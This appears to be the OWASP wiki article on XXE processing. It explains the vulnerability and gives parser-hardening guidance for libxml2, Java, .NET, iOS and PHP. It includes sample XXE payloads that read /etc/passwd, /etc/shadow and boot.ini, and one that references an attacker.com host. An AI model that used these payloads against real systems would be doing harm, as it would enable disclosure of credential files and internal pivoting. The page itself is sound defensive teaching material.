XML External Entity (XXE) Processing

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Last revision (mm/dd/yy): 12/31/2014

Vulnerabilities Table of Contents


An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system impacts.

The XML 1.0 standard defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an external general parsed entity often shortened to an external entity, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.

Risk Factors

  • The application parses XML documents.
  • Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD).
  • The XML processor is configured to validate and process the DTD.
  • The XML processor is configured to resolve external entities within the DTD.


The examples below are from Testing for XML Injection (OWASP-DV-008).

Accessing a local resource that may not return

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

Disclosing /etc/passwd or other targeted files

  <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

Related Attacks

Related Vulnerabilities

Related Controls

Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively validate or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.

Testing ought to occur with specific implementations for any controls documented below.



The Enum xmlParserOption should not have the following options defined:

  • XML_PARSE_NOENT: Expands entities and substitutes them with replacement text
  • XML_PARSE_DTDLOAD: Load the external DTD

Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.


Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.

JAXP DocumentBuilderFactory and SAXParserFactory

Both DocumentBuilderFactory and SAXParserFactory XML Parsers can be configured using the same techniques to protect them against XXE. Only the DocumentBuilderFactory example is presented here. The JAXP DocumentBuilderFactory setFeature method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader setFeature method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.

For a syntax highlighted code snippet for DocumentBuilderFactory, click here.

For a syntax highlighted code snippet for SAXParserFactory, click here.

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    try {
      // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented
      // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl
      String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
      dbf.setFeature(FEATURE, true);

      // If you can't completely disable DTDs, then at least do the following:
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
      FEATURE = "http://xml.org/sax/features/external-general-entities";
      dbf.setFeature(FEATURE, false);

      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
      FEATURE = "http://xml.org/sax/features/external-parameter-entities";
      dbf.setFeature(FEATURE, false);

      // and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks" (see reference below)
      // And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then 
      // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks
      // (http://cwe.mitre.org/data/definitions/918.html) and denial 
      // of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."

      // remaining parser logic
        catch (ParserConfigurationException e) {
            // This should catch a failed setFeature feature
            logger.info("ParserConfigurationException was thrown. The feature '" +
                        FEATURE +
                        "' is probably not supported by your XML processor.");
        catch (SAXException e) {
            // On Apache, this should be thrown when disallowing DOCTYPE
            logger.warning("A DOCTYPE was passed into the XML document");
        catch (IOException e) {
            // XXE that points to a file that doesn't exist
            logger.error("IOException occurred, XXE may still possible: " + e.getMessage());

Xerces 1 Features:

  • Do not include external entities by setting this feature to false.
  • Do not include parameter entities by setting this feature to false.

Xerces 2 Features:

  • Disallow an inline DTD by setting this feature to true.
  • Do not include external entities by setting this feature to false.
  • Do not include parameter entities by setting this feature to false.

StAX and XMLInputFactory

StAX parsers such as XMLInputFactory allow various properties and features to be set.

To protect a Java XMLInputFactory from XXE, do this:

  • xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory


.NET 3.5

The following information for .NET are almost direct quotes from this great article on how to prevent XXE and XML Denial of Service in .NET: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx.

In .NET Framework versions 3.5 and earlier, DTD parsing behavior is controlled by the Boolean ProhibitDtd property found in the System.Xml.XmlTextReader and System.Xml.XmlReaderSettings classes. Set this value to true to disable inline DTDs completely:

XmlTextReader reader = new XmlTextReader(stream);
reader.ProhibitDtd = true;


XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = true;
XmlReader reader = XmlReader.Create(stream, settings);

The default value of ProhibitDtd in XmlReaderSettings is true, but the default value of ProhibitDtd in XmlTextReader is false, which means that you have to explicitly set it to true to disable inline DTDs.

If you need DTD parsing enabled, but need to know how to do it safely, the above referenced MSDN article has detailed instructions on how to do that too.

.NET 4.0

In .NET Framework version 4.0, DTD parsing behavior has been changed. The ProhibitDtd property has been deprecated in favor of the new DtdProcessing property, whose default value is Prohibit. This means that .NET 4.0 apps should be immune to XXE by default, if they are using an XmlReader to parse their XML.

Setting DtdProcessing to Prohibit causes the runtime to throw an exception if a <!DOCTYPE> element is present in the XML. To set this value yourself, it looks like this:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(stream, settings);

Alternatively, you can set the DtdProcessing property to Ignore, which will not throw an exception on encountering a <!DOCTYPE> element but will simply skip over it and not process it. Finally, you can set DtdProcessing to Parse if you do want to allow and process inline DTDs.

Again, if you need to enable DTD processing, instructions on how to do so safely are described in detail in the referenced MSDN article.



iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).


iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:

  • iOS4 and earlier: All external entities are loaded by default.
  • iOS5 and later: Only entities that don't require network access are loaded. (which is safer)

However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.


Per the PHP documentation, the following should be set when using the default PHP XML parser in order to prevent XXE:


A description of how to abuse this in PHP is presented in a good SensePost article describing a cool PHP based XXE vulnerability that was fixed in Facebook.